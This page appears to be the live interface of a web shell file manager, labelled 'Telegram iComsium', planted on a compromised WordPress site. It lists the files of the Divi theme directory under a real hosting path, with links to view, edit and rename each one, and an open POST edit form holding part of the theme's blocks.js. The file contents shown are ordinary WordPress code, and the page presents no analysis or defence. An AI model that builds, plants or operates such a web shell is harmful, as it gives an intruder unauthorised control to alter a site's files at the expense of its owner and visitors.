<b>Telegram iComsium Current root:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <br><b>Current path:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <hr><a href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes">..</a><br /><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">404.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">CREDITS.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">LICENSE.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">README.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/ai-app">ai-app</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">changelog.txt</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/cloud">cloud</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">comments.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/common">common</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/core">core</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/css">css</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/epanel">epanel</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">error_log</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/et-pagebuilder">et-pagebuilder</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">functions.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/images">images</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/includes">includes</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">index.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/js">js</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/lang">lang</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/onboarding">onboarding</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">options_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">page-template-blank.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">page.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">post_thumbnails_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/psd">psd</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">rtl.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">screenshot.jpg</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">sidebar-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">sidebar.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">single-et_pb_layout.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">single-project.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">single.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">style-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">style-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">style-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">style-static-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">style-static-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">style-static-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">style-static.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">style.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">style.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">theme-after-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">theme-after-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">theme-after-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">theme-before-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">theme-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">theme-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">theme.json</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">wpml-config.xml</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Yeniden Adlandır]</a><br><hr><h3>Dosya Düzenle: blocks.js</h3>
        <form method="POST">
            <textarea name="content" style="width:100%;height:300px;">var wp;
(wp ||= {}).blocks = (() =&gt; {
  var __create = Object.create;
  var __defProp = Object.defineProperty;
  var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
  var __getOwnPropNames = Object.getOwnPropertyNames;
  var __getProtoOf = Object.getPrototypeOf;
  var __hasOwnProp = Object.prototype.hasOwnProperty;
  var __commonJS = (cb, mod) =&gt; function __require() {
    return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
  };
  var __export = (target, all) =&gt; {
    for (var name in all)
      __defProp(target, name, { get: all[name], enumerable: true });
  };
  var __copyProps = (to, from, except, desc) =&gt; {
    if (from &amp;&amp; typeof from === &quot;object&quot; || typeof from === &quot;function&quot;) {
      for (let key of __getOwnPropNames(from))
        if (!__hasOwnProp.call(to, key) &amp;&amp; key !== except)
          __defProp(to, key, { get: () =&gt; from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
    }
    return to;
  };
  var __toESM = (mod, isNodeMode, target) =&gt; (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
    // If the importer is in node compatibility mode or this is not an ESM
    // file that has been converted to a CommonJS file using a Babel-
    // compatible transform (i.e. &quot;__esModule&quot; has not been set), then set
    // &quot;default&quot; to the CommonJS &quot;module.exports&quot; for node compatibility.
    isNodeMode || !mod || !mod.__esModule ? __defProp(target, &quot;default&quot;, { value: mod, enumerable: true }) : target,
    mod
  ));
  var __toCommonJS = (mod) =&gt; __copyProps(__defProp({}, &quot;__esModule&quot;, { value: true }), mod);

  // package-external:@wordpress/data
  var require_data = __commonJS({
    &quot;package-external:@wordpress/data&quot;(exports, module) {
      module.exports = window.wp.data;
    }
  });

  // package-external:@wordpress/i18n
  var require_i18n = __commonJS({
    &quot;package-external:@wordpress/i18n&quot;(exports, module) {
      module.exports = window.wp.i18n;
    }
  });

  // package-external:@wordpress/element
  var require_element = __commonJS({
    &quot;package-external:@wordpress/element&quot;(exports, module) {
      module.exports = window.wp.element;
    }
  });

  // package-external:@wordpress/dom
  var require_dom = __commonJS({
    &quot;package-external:@wordpress/dom&quot;(exports, module) {
      module.exports = window.wp.dom;
    }
  });

  // package-external:@wordpress/rich-text
  var require_rich_text = __commonJS({
    &quot;package-external:@wordpress/rich-text&quot;(exports, module) {
      module.exports = window.wp.richText;
    }
  });

  // package-external:@wordpress/deprecated
  var require_deprecated = __commonJS({
    &quot;package-external:@wordpress/deprecated&quot;(exports, module) {
      module.exports = window.wp.deprecated;
    }
  });

  // package-external:@wordpress/warning
  var require_warning = __commonJS({
    &quot;package-external:@wordpress/warning&quot;(exports, module) {
      module.exports = window.wp.warning;
    }
  });

  // package-external:@wordpress/private-apis
  var require_private_apis = __commonJS({
    &quot;package-external:@wordpress/private-apis&quot;(exports, module) {
      module.exports = window.wp.privateApis;
    }
  });

  // node_modules/remove-accents/index.js
  var require_remove_accents = __commonJS({
    &quot;node_modules/remove-accents/index.js&quot;(exports, module) {
      var characterMap = {
        &quot;\xC0&quot;: &quot;A&quot;,
        &quot;\xC1&quot;: &quot;A&quot;,
        &quot;\xC2&quot;: &quot;A&quot;,
        &quot;\xC3&quot;: &quot;A&quot;,
        &quot;\xC4&quot;: &quot;A&quot;,
        &quot;\xC5&quot;: &quot;A&quot;,
        &quot;\u1EA4&quot;: &quot;A&quot;,
        &quot;\u1EAE&quot;: &quot;A&quot;,
        &quot;\u1EB2&quot;: &quot;A&quot;,
        &quot;\u1EB4&quot;: &quot;A&quot;,
        &quot;\u1EB6&quot;: &quot;A&quot;,
        &quot;\xC6&quot;: &quot;AE&quot;,
        &quot;\u1EA6&quot;: &quot;A&quot;,
        &quot;\u1EB0&quot;: &quot;A&quot;,
        &quot;\u0202&quot;: &quot;A&quot;,
        &quot;\u1EA2&quot;: &quot;A&quot;,
        &quot;\u1EA0&quot;: &quot;A&quot;,
        &quot;\u1EA8&quot;: &quot;A&quot;,
        &quot;\u1EAA&quot;: &quot;A&quot;,
        &quot;\u1EAC&quot;: &quot;A&quot;,
        &quot;\xC7&quot;: &quot;C&quot;,
        &quot;\u1E08&quot;: &quot;C&quot;,
        &quot;\xC8&quot;: &quot;E&quot;,
        &quot;\xC9&quot;: &quot;E&quot;,
        &quot;\xCA&quot;: &quot;E&quot;,
        &quot;\xCB&quot;: &quot;E&quot;,
        &quot;\u1EBE&quot;: &quot;E&quot;,
        &quot;\u1E16&quot;: &quot;E&quot;,
        &quot;\u1EC0&quot;: &quot;E&quot;,
        &quot;\u1E14&quot;: &quot;E&quot;,
        &quot;\u1E1C&quot;: &quot;E&quot;,
        &quot;\u0206&quot;: &quot;E&quot;,
        &quot;\u1EBA&quot;: &quot;E&quot;,
        &quot;\u1EBC&quot;: &quot;E&quot;,
        &quot;\u1EB8&quot;: &quot;E&quot;,
        &quot;\u1EC2&quot;: &quot;E&quot;,
        &quot;\u1EC4&quot;: &quot;E&quot;,
        &quot;\u1EC6&quot;: &quot;E&quot;,
        &quot;\xCC&quot;: &quot;I&quot;,
        &quot;\xCD&quot;: &quot;I&quot;,
        &quot;\xCE&quot;: &quot;I&quot;,
        &quot;\xCF&quot;: &quot;I&quot;,
        &quot;\u1E2E&quot;: &quot;I&quot;,
        &quot;\u020A&quot;: &quot;I&quot;,
        &quot;\u1EC8&quot;: &quot;I&quot;,
        &quot;\u1ECA&quot;: &quot;I&quot;,
        &quot;\xD0&quot;: &quot;D&quot;,
        &quot;\xD1&quot;: &quot;N&quot;,
        &quot;\xD2&quot;: &quot;O&quot;,
        &quot;\xD3&quot;: &quot;O&quot;,
        &quot;\xD4&quot;: &quot;O&quot;,
        &quot;\xD5&quot;: &quot;O&quot;,
        &quot;\xD6&quot;: &quot;O&quot;,
        &quot;\xD8&quot;: &quot;O&quot;,
        &quot;\u1ED0&quot;: &quot;O&quot;,
        &quot;\u1E4C&quot;: &quot;O&quot;,
        &quot;\u1E52&quot;: &quot;O&quot;,
        &quot;\u020E&quot;: &quot;O&quot;,
        &quot;\u1ECE&quot;: &quot;O&quot;,
        &quot;\u1ECC&quot;: &quot;O&quot;,
        &quot;\u1ED4&quot;: &quot;O&quot;,
        &quot;\u1ED6&quot;: &quot;O&quot;,
        &quot;\u1ED8&quot;: &quot;O&quot;,
        &quot;\u1EDC&quot;: &quot;O&quot;,
        &quot;\u1EDE&quot;: &quot;O&quot;,
        &quot;\u1EE0&quot;: &quot;O&quot;,
        &quot;\u1EDA&quot;: &quot;O&quot;,
        &quot;\u1EE2&quot;: &quot;O&quot;,
        &quot;\xD9&quot;: &quot;U&quot;,
        &quot;\xDA&quot;: &quot;U&quot;,
        &quot;\xDB&quot;: &quot;U&quot;,
        &quot;\xDC&quot;: &quot;U&quot;,
        &quot;\u1EE6&quot;: &quot;U&quot;,
        &quot;\u1EE4&quot;: &quot;U&quot;,
        &quot;\u1EEC&quot;: &quot;U&quot;,
